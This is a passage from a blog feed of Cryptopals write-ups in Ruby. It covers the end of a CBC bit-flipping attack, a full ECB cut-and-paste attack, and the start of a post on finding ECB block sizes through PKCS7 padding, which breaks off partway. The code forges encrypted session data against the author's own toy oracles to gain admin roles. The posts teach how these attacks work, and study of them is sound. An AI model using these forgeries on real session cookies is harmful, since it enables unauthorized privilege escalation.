&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:&lt;/code&gt; (ASCII 58) into &lt;code class=&quot;language-text&quot;&gt;;&lt;/code&gt; (ASCII 59)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s lay the ground for our problem in Ruby:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;BLOCK_SIZE = 16
KEY = BLOCK_SIZE.times.map { rand(0..255) }
IV = BLOCK_SIZE.times.map { rand(0..255) }
PLAINTEXT = &amp;#39;name=cbc attack;admin&amp;lt;true:id=11&amp;#39;.bytes

# Our encryption method defined earlier in this post
ciphertext = aes_cbc_encrypt(PLAINTEXT, KEY, IV)

ciphertext.each_slice(BLOCK_SIZE) do |block|
  puts block.inspect
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This program outputs the following:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;First block:
[135, 247, 220, 139, 108, 224, 161, 24, 21, 43, 213, 93, 49, 101, 91, 55]

Second block:
[161, 167, 98, 71, 30, 176, 244, 73, 72, 228, 148, 176, 198, 21, 39, 68]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;strong&gt;Here’s what we want to prove again:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A 1-bit error in a ciphertext block:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Completely scrambles the block the error occurs in&lt;/li&gt;
&lt;li&gt;Produces the identical 1-bit error in the next ciphertext block.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Let’s recap what we need to do in order to decrypt blocks using &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Decrypt the current ciphertext block with AES-ECB&lt;/li&gt;
&lt;li&gt;XOR that decrypted_value with the previous ciphertext block&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;With that in mind let’s reverse engineer what we need to do to achieve our goal:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First we have to figure out the value of the &lt;code class=&quot;language-text&quot;&gt;ECB decryption&lt;/code&gt; for the bytes we are interested in:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;ecb_decryption(176) XOR 224 = 60&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;ecb_decryption(148) XOR 213 = 58&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s dive into what these numbers represent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What are these numbers?&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;176&lt;/code&gt; is the value of the &lt;code class=&quot;language-text&quot;&gt;6th byte&lt;/code&gt; (&amp;#x3C;) in our second block and &lt;code class=&quot;language-text&quot;&gt;224&lt;/code&gt; is the 6th byte of our first block, while &lt;code class=&quot;language-text&quot;&gt;60&lt;/code&gt; represents the &lt;code class=&quot;language-text&quot;&gt;&amp;lt;&lt;/code&gt; character in ASCII.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;148&lt;/code&gt; is the value of the &lt;code class=&quot;language-text&quot;&gt;11th byte&lt;/code&gt; (:) in our second block and &lt;code class=&quot;language-text&quot;&gt;213&lt;/code&gt; is the 11th byte of our first block, while &lt;code class=&quot;language-text&quot;&gt;58&lt;/code&gt; represents the &lt;code class=&quot;language-text&quot;&gt;:&lt;/code&gt; character in ASCII.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s compute our &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; equation for our &lt;code class=&quot;language-text&quot;&gt;first point&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;=&gt; &lt;code class=&quot;language-text&quot;&gt;ecb_decryption(176) XOR 224 = 60&lt;/code&gt; &lt;br/&gt;
=&gt; &lt;code class=&quot;language-text&quot;&gt;ecb_decryption(176) = 60 XOR 224&lt;/code&gt; &lt;br/&gt;
=&gt; &lt;code class=&quot;language-text&quot;&gt;ecb_decryption(176) = 220&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we need to convert our &lt;code class=&quot;language-text&quot;&gt;&amp;lt;&lt;/code&gt; into an &lt;code class=&quot;language-text&quot;&gt;=&lt;/code&gt;, which is represented as &lt;code class=&quot;language-text&quot;&gt;61&lt;/code&gt; in ASCII: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;220 XOR 61 = ?&lt;/code&gt; &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;225&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Going to our &lt;code class=&quot;language-text&quot;&gt;second point&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;=&gt; &lt;code class=&quot;language-text&quot;&gt;ecb_decryption(148) XOR 213 = 58&lt;/code&gt; &lt;br/&gt;
=&gt; &lt;code class=&quot;language-text&quot;&gt;ecb_decryption(148) = 58 XOR 213&lt;/code&gt; &lt;br/&gt;
=&gt; &lt;code class=&quot;language-text&quot;&gt;ecb_decryption(148) = 239&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we need to convert our &lt;code class=&quot;language-text&quot;&gt;:&lt;/code&gt; into an &lt;code class=&quot;language-text&quot;&gt;;&lt;/code&gt;, which is represented as &lt;code class=&quot;language-text&quot;&gt;59&lt;/code&gt; in ASCII: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;239 XOR 59 = ?&lt;/code&gt; &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;212&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So the changes in our first block needs to be:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;6th byte&lt;/code&gt; goes from &lt;code class=&quot;language-text&quot;&gt;224&lt;/code&gt; to &lt;code class=&quot;language-text&quot;&gt;225&lt;/code&gt; &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;11th byte&lt;/code&gt; goes from &lt;code class=&quot;language-text&quot;&gt;213&lt;/code&gt; to &lt;code class=&quot;language-text&quot;&gt;212&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And if we look closely that’s exactly a &lt;code class=&quot;language-text&quot;&gt;1-bit XOR&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;=&gt; &lt;code class=&quot;language-text&quot;&gt;224 XOR 1 = 225&lt;/code&gt; &lt;br/&gt;
=&gt; &lt;code class=&quot;language-text&quot;&gt;213 XOR 1 = 212&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We are ready for our full code:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;BLOCK_SIZE = 16
KEY = BLOCK_SIZE.times.map { rand(0..255) }
IV = BLOCK_SIZE.times.map { rand(0..255) }
PLAINTEXT = &amp;#39;name=cbc attack;admin&amp;lt;true:id=11&amp;#39;.bytes

ciphertext = aes_cbc_encrypt(PLAINTEXT, KEY, IV)
ciphertext[5] ^= 1  # 6th byte of our first block
ciphertext[10] ^= 1 # 11th byte of our first block

puts aes_cbc_decrypt(ciphertext, KEY, IV).pack(&amp;#39;C*&amp;#39;)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And the output of this is: &lt;code class=&quot;language-text&quot;&gt;�;5��H��G�\Ladmin=true;id=11&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Which is exactly what we expected. The first block became scrambled while the second one carried the changes we were looking for!&lt;/p&gt;
&lt;p&gt;And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)&lt;/p&gt;</content:encoded></item><item><title><![CDATA[ECB Cut and Paste Attack]]></title><description><![CDATA[Let's exploit ECB yet again, this time through the cut and paste attack.]]></description><link>https://bernardoamc.com/ecb-cut-paste-attack/</link><guid isPermaLink="false">https://bernardoamc.com/ecb-cut-paste-attack/</guid><pubDate>Sun, 11 Jul 2021 21:15:00 GMT</pubDate><content:encoded>&lt;p&gt;In this post we will investigate the ECB cut and paste attack exercise from &lt;a href=&quot;https://cryptopals.com/sets/2/challenges/13&quot;&gt;Cryptopals&lt;/a&gt;. I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.&lt;/p&gt;
&lt;p&gt;Let’s remember a key characteristic of ECB, which is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Encrypting the same plaintext under the same key will always yield the same ciphertext&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This characteristic will be the key to solving our exercise.&lt;/p&gt;
&lt;h2&gt;Challenge&lt;/h2&gt;
&lt;p&gt;The goal of this exercise is to send to our server an input that once decrypted elevates our privileges to &lt;code class=&quot;language-text&quot;&gt;role=admin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To make this exercise more relatable we can think of a web server performing an operation like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the user’s email&lt;/li&gt;
&lt;li&gt;Generates an output like: &lt;code class=&quot;language-text&quot;&gt;email=foo@bar.com&amp;amp;uid=10&amp;amp;role=user&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The server encrypts the value from the previous step&lt;/li&gt;
&lt;li&gt;The server surfaces the encrypted value as a &lt;code class=&quot;language-text&quot;&gt;cookie&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Once the user comes back to the site the server will read this cookie’s value and identify our user&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s see the code:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# The key used by the web server to encrypt and decrypt values
KEY = 16.times.map { rand(0..255) }

# Our helper method to encode a hash as a query string
# Outputs something like: `email=foo@bar.com&amp;amp;uid=10&amp;amp;role=user`
def encode_query_string(hash)
  hash.map { |k, v| &amp;quot;#{k}=#{v}&amp;quot; }.join(&amp;#39;&amp;amp;&amp;#39;)
end

# Our helper method to transform a query string into a Hash
def decode_query_string(input)
  input.split(&amp;#39;&amp;amp;&amp;#39;).map { |kv| kv.split(&amp;#39;=&amp;#39;) }.to_h
end

# Our helper method to pad our input with PKCS7 and encrypt
# it with ECB.
#
# See the post &amp;quot;Discovering ECB block size&amp;quot; for more details
# on PKCS7.
def encrypt_profile(input)
  aes_ecb_encrypt(pkcs7_pad(input, 16), KEY)
end

# Our helper method to decrypt a string with ECB, remove
# its PKCS7 padding and calling the query string decoder.
def decrypt_profile(input)
  decode_query_string(
    pkcs7_unpad(aes_ecb_decrypt(input, KEY)).pack(&amp;#39;C*&amp;#39;)
  )
end

# The method that:
# 1. Receives the user&amp;#39;s email
# 2. Strips dangerous characters like &amp;quot;&amp;amp;&amp;quot; and &amp;quot;=&amp;quot;
# 3. Generates a hash representing our session
# 3. Calls our encode_query_string method with the session
def profile_for(email)
  encode_query_string({
    &amp;#39;email&amp;#39; =&amp;gt; email.tr(&amp;#39;&amp;amp;=&amp;#39;, &amp;#39;&amp;#39;),
    &amp;#39;uid&amp;#39;  =&amp;gt; 10,
    &amp;#39;role&amp;#39;  =&amp;gt; &amp;#39;user&amp;#39;
  })
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s see the code in action:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;input = &amp;quot;bernardo.amc@gmail.com&amp;quot;
ciphertext = encrypt_profile(profile_for(input).bytes)
puts ciphertext.inspect
# =&amp;gt; [101, 60, 198, 183, 84, 111, 86, 117, 34, 98, 147, 118, 111, 130, 197, 153, 251, 158, 167, 73, 230, 124, 163, 111, 170, 87, 166, 18, 76, 188, 240, 247, 65, 25, 192, 127, 154, 7, 138, 219, 54, 209, 69, 244, 112, 148, 35, 17]

profile = decrypt_profile(ciphertext)
puts profile.inspect
# =&amp;gt; {&amp;quot;email&amp;quot;=&amp;gt;&amp;quot;bernardo.amc@gmail.com&amp;quot;, &amp;quot;uid&amp;quot;=&amp;gt;&amp;quot;10&amp;quot;, &amp;quot;role&amp;quot;=&amp;gt;&amp;quot;user&amp;quot;}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Nothing fancy, we end up with a Hash with keys &lt;code class=&quot;language-text&quot;&gt;email&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;uid&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;role&lt;/code&gt; as expected.&lt;/p&gt;
&lt;h3&gt;Thought process&lt;/h3&gt;
&lt;p&gt;A few important things to keep in mind before we start:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We know that the server encodes a value like the following:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;email=our@email.com&amp;amp;uid=10&amp;amp;role=user&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;We know the block size, which is &lt;code class=&quot;language-text&quot;&gt;16&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;We know our string is padded with PKCS7 before encryption&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I didn’t know anything about this attack before attempting to solve it, but the name of the exercise gives us a hint at how to solve our problem: &lt;em&gt;Cut and Paste Attack&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Maybe it is telling us that we need to &lt;em&gt;cut&lt;/em&gt; blocks and &lt;em&gt;paste&lt;/em&gt; them in a different order?&lt;/p&gt;
&lt;h3&gt;Plan of Attack&lt;/h3&gt;
&lt;p&gt;My plan of attack to solve this exercise was to figure out an email length that once encrypted will put the &lt;code class=&quot;language-text&quot;&gt;role=&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;user&lt;/code&gt; into &lt;em&gt;different blocks&lt;/em&gt;, this way I would be able to maybe cut another block and replace it with the one that has the &lt;code class=&quot;language-text&quot;&gt;user&lt;/code&gt; value. Let’s see how we can do that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We know that &lt;code class=&quot;language-text&quot;&gt;email=&lt;/code&gt; length is &lt;code class=&quot;language-text&quot;&gt;6&lt;/code&gt;, so to complete the &lt;code class=&quot;language-text&quot;&gt;first block&lt;/code&gt; we need &lt;code class=&quot;language-text&quot;&gt;10&lt;/code&gt; more characters.&lt;/li&gt;
&lt;li&gt;We know that &lt;code class=&quot;language-text&quot;&gt;&amp;amp;uid=10&amp;amp;role=&lt;/code&gt; is &lt;code class=&quot;language-text&quot;&gt;13 &lt;/code&gt;characters, so we need &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; more characters to complete another block.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So if we send an email that is composed of &lt;code class=&quot;language-text&quot;&gt;13&lt;/code&gt; characters we end up with the following blocks:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Block 0: email=AAAAAAAAAA
Block 1: AAA&amp;amp;uid=10&amp;amp;role=
Block 2: user&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The issue with this scenario is that there’s no &lt;code class=&quot;language-text&quot;&gt;block&lt;/code&gt; we can cut and paste in order to transform our &lt;code class=&quot;language-text&quot;&gt;role&lt;/code&gt; into &lt;code class=&quot;language-text&quot;&gt;admin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;My next attempt was to simply write &lt;code class=&quot;language-text&quot;&gt;16&lt;/code&gt; more characters to create yet another &lt;code class=&quot;language-text&quot;&gt;block&lt;/code&gt; in-between the &lt;code class=&quot;language-text&quot;&gt;email&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;role&lt;/code&gt; blocks, something like:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Block 0: email=AAAAAAAAAA
Block 1: AAAAAAAAAAAAAAAA
Block 2: AAA&amp;amp;uid=10&amp;amp;role=
Block 3: user&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;This is much better! If we manage to make &lt;code class=&quot;language-text&quot;&gt;Block 1&lt;/code&gt; represent “admin”, and we cut and paste it after the &lt;code class=&quot;language-text&quot;&gt;role&lt;/code&gt; block we can become admin:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Block 0: email=AAAAAAAAAA
Block 2: AAA&amp;amp;uid=10&amp;amp;role=
Block 1: AAAAAAAAAAAAAAAA&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;We know that &lt;code class=&quot;language-text&quot;&gt;Block 1&lt;/code&gt; should yield &lt;code class=&quot;language-text&quot;&gt;admin&lt;/code&gt; in order to end up with &lt;code class=&quot;language-text&quot;&gt;role=admin&lt;/code&gt;, but how do we send only &lt;code class=&quot;language-text&quot;&gt;admin&lt;/code&gt; and &lt;em&gt;nothing else&lt;/em&gt;?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;admin&lt;/code&gt; is 5 bytes long&lt;/li&gt;
&lt;li&gt;What do we do with the rest &lt;code class=&quot;language-text&quot;&gt;11&lt;/code&gt; bytes that cannot be used?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That’s when I remembered that we are &lt;em&gt;padding&lt;/em&gt; our input with &lt;a href=&quot;/ecb-discover-block-size&quot;&gt;PKCS7&lt;/a&gt;, so we can likely exploit this by &lt;em&gt;pretending&lt;/em&gt; our first block was padded.&lt;/p&gt;
&lt;p&gt;If PKCS7 were to pad our first block we would end up with: &lt;code class=&quot;language-text&quot;&gt;admin\v\v\v\v\v\v\v\v\v\v\v&lt;/code&gt;. Don’t be confused by the &lt;code class=&quot;language-text&quot;&gt;\v&lt;/code&gt; character, it is just the visual representation of &lt;code class=&quot;language-text&quot;&gt;11&lt;/code&gt; in &lt;a href=&quot;http://www.asciitable.com/&quot;&gt;ASCII&lt;/a&gt;, which is the &lt;em&gt;vertical tab&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Why &lt;code class=&quot;language-text&quot;&gt;11&lt;/code&gt;? Because it is the number of bytes we need to &lt;code class=&quot;language-text&quot;&gt;pad&lt;/code&gt; our block with so it ends up with &lt;code class=&quot;language-text&quot;&gt;16&lt;/code&gt; bytes.&lt;/p&gt;
&lt;p&gt;Let’s recap what we want to achieve:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Send &lt;code class=&quot;language-text&quot;&gt;10&lt;/code&gt; characters in order for our first block to be &lt;code class=&quot;language-text&quot;&gt;email=&amp;lt;our_10_characters&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Send &lt;code class=&quot;language-text&quot;&gt;admin\v\v\v\v\v\v\v\v\v\v\v&lt;/code&gt; so we can cut and paste this block&lt;/li&gt;
&lt;li&gt;Send &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; more characters so we have &lt;code class=&quot;language-text&quot;&gt;&amp;lt;our_3_characters&gt;&amp;amp;uid=10&amp;amp;role=&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Combining all of the above we end up with:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Block 0: email=AAAAAAAAAA
Block 1: admin\v\v\v\v\v\v\v\v\v\v\v
Block 2: AAA&amp;amp;uid=10&amp;amp;role=
Block 3: user&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;After after cutting our &lt;code class=&quot;language-text&quot;&gt;Block 1&lt;/code&gt; and pasting it on top of &lt;code class=&quot;language-text&quot;&gt;Block 3&lt;/code&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;Block 0: email=AAAAAAAAAA
Block 2: AAA&amp;amp;uid=10&amp;amp;role=
Block 1: admin\v\v\v\v\v\v\v\v\v\v\v&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s see this in Ruby:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;input = &amp;quot;AAAAAAAAAAadmin\v\v\v\v\v\v\v\v\v\v\vAAA&amp;quot;
ciphertext = encrypt_profile(profile_for(input).bytes)

block0 = ciphertext.slice(0, 16)
block1 = ciphertext.slice(16, 16)
block2 = ciphertext.slice(32, 16)
ciphertext = block0 + block2 + block1

profile = decrypt_profile(ciphertext)

puts profile
# =&amp;gt; {&amp;quot;email&amp;quot;=&amp;gt;&amp;quot;AAAAAAAAAAAAA&amp;quot;, &amp;quot;uid&amp;quot;=&amp;gt;&amp;quot;10&amp;quot;, &amp;quot;role&amp;quot;=&amp;gt;&amp;quot;admin&amp;quot;}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And we have reached the end of our exercise! Congratulations, take a moment to be proud of what you have achieved and I hope you are looking forward to the next posts as much as I am. :)&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Discovering ECB block sizes]]></title><description><![CDATA[How do we figure out the block size of a message encrypted with ECB?]]></description><link>https://bernardoamc.com/ecb-discover-block-size/</link><guid isPermaLink="false">https://bernardoamc.com/ecb-discover-block-size/</guid><pubDate>Sat, 03 Jul 2021 16:35:00 GMT</pubDate><content:encoded>&lt;p&gt;Building up on our previous &lt;a href=&quot;/ecb-decryption-simple&quot;&gt;ECB decryption post&lt;/a&gt; we will be figuring out one of the missing pieces of the challenge.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Given a prefix controlled message padded with PKCS7 and encrypted with ECB , how do we figure out the block size?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We barely touched upon &lt;em&gt;PKCS7&lt;/em&gt; and this this seems like a good opportunity to go over it. &lt;em&gt;PKCS7&lt;/em&gt; is a padding algorithm that allow us to encrypt irregularly-sized messages, or in less fancy terms, it allows us to encrypt messages that don’t have a length that is a multiple of our block size.&lt;/p&gt;
&lt;p&gt;The algorithm works like the following &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc2315#section-10.3&quot;&gt;per the spec&lt;/a&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;       01 -- if l mod k = k-1
    02 02 -- if l mod k = k-2
        .
        .
        .
k k ... k k -- if l mod k = 0

The padding can be removed unambiguously since all input is
padded and no padding string is a suffix of another.&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;Let’s use an example to make things clearer. Suppose the &lt;code class=&quot;language-text&quot;&gt;last block&lt;/code&gt; of our message is &lt;code class=&quot;language-text&quot;&gt;[97, 98]&lt;/code&gt; and the block size is &lt;code class=&quot;language-text&quot;&gt;4&lt;/code&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using &lt;code class=&quot;language-text&quot;&gt;l mod k&lt;/code&gt; we end up with &lt;code class=&quot;language-text&quot;&gt;2 mod 4 = 2&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;l&lt;/code&gt; is the size of our last block (&lt;code class=&quot;language-text&quot;&gt;[97, 98]&lt;/code&gt;), which is &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt; is our block size, which is &lt;code class=&quot;language-text&quot;&gt;4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Now we know that we have to pad the last block with two bytes, so the end result is:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[97, 98, 2, 2]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There’s one detail that a lot of folks miss. When the size of the last block is already correct the algorithm above adds a new block to the end as padding. So when we have the last block as &lt;code class=&quot;language-text&quot;&gt;[97, 98, 99, 100]&lt;/code&gt; and our block size is &lt;code class=&quot;language-text&quot;&gt;4&lt;/code&gt; we will end up with:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Using &lt;code class=&quot;language-text&quot;&gt;l mod k&lt;/code&gt; we end up with &lt;code class=&quot;language-text&quot;&gt;4 mod 4 = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;When the result is zero we pad a full block size, so we end up with:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[97, 98, 99, 100] and [4, 4, 4, 4]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s implement it in Ruby:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;# See https://tools.ietf.org/html/rfc2315#section-10.3
def pkcs7_pad(message:, block_size:)
  raise &amp;#39;Invalid block size&amp;#39; if block_size &amp;gt;= 256 # as per the PKCS7 spec

  size = block_size - (message.size % block_size)
  padding = Array.new(size, size)
  message + padding
end

message = &amp;#39;ab&amp;#39;.bytes
puts pkcs7_pad(message: message, block_size: 4).inspect
# =&amp;gt; [97, 98, 2, 2]

message = &amp;#39;abcd&amp;#39;.bytes
puts pkcs7_pad(message: message, block_size: 4).inspect
# =&amp;gt; [97, 98, 99, 100, 4, 4, 4, 4]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h2&gt;Figuring out the block size&lt;/h2&gt;
&lt;p&gt;We will work with the &lt;code class=&quot;language-text&quot;&gt;encryption_oracle&lt;/code&gt; method from our &lt;a href=&quot;/ecb-decryption-simple&quot;&gt;previous post&lt;/a&gt;. Let’s revisit it:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;RANDOM_KEY = 16.times.map { rand(0..255) }
UNKNOWN_BUFFER = File.read(&amp;#39;unknown_buffer&amp;#39;).strip.bytes

def encryption_oracle(prefix)
  # Now we know what this method does :)
  padded_buffer = pkcs7_pad(
    message: prefix + UNKNOWN_BUFFER,
    block_size: 16
  )

  aes_ecb_encrypt(padded_buffer, RANDOM_KEY)
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The algorithm we will need to implement is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Feed identical bytes to the &lt;code class=&quot;language-text&quot;&gt;encryption_oracle&lt;/code&gt; method, one at a time
&lt;ul&gt;
&lt;li&gt;Example, start with 1 byte (“A”), then “AA”, then “AAA” and so on.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Every time you do it take note of the &lt;code class=&quot;language-text&quot;&gt;first block&lt;/code&gt; of the result&lt;/li&gt;
&lt;li&gt;Once two prefixes produce the &lt;code class=&quot;language-text&quot;&gt;SAME first block&lt;/code&gt; we have discovered our block size which is equal to the &lt;code class=&quot;language-text&quot;&gt;number of iterations&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It’s time for a contrived example!&lt;/p&gt;
&lt;h3&gt;Contrived example&lt;/h3&gt;
&lt;p&gt;Suppose our message is composed of &lt;code class=&quot;language-text&quot;&gt;[0, 1, 2, 3, 4]&lt;/code&gt; and our block size is &lt;code class=&quot;language-text&quot;&gt;FOUR&lt;/code&gt;, but we don’t know it yet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Iteration one:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Let’s feed our original message an &lt;em&gt;iteration&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 0, 1, 2, 3, 4, 2, 2]&lt;/code&gt; (the last two bytes came from PKCS7)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;li&gt;Let’s feed our original message an &lt;em&gt;iteration plus one&lt;/em&gt; number of &lt;code class=&quot;language-text&quot;&gt;A&lt;/code&gt;s:
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[41, 41, 0, 1, 2, 3, 4, 1]&lt;/code&gt; (the last byte came from PKCS7)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Encrypt the value above and store it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;em&gt;Is the first block of steps one and three the same?&lt;/em&gt; They are not!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Step 1 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 0, 1, 2]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Step 3 first block: &lt;code class=&quot;language-text&quot;&gt;[41, 41, 0, 1]&lt;/code&gt;&lt;/li&gt;
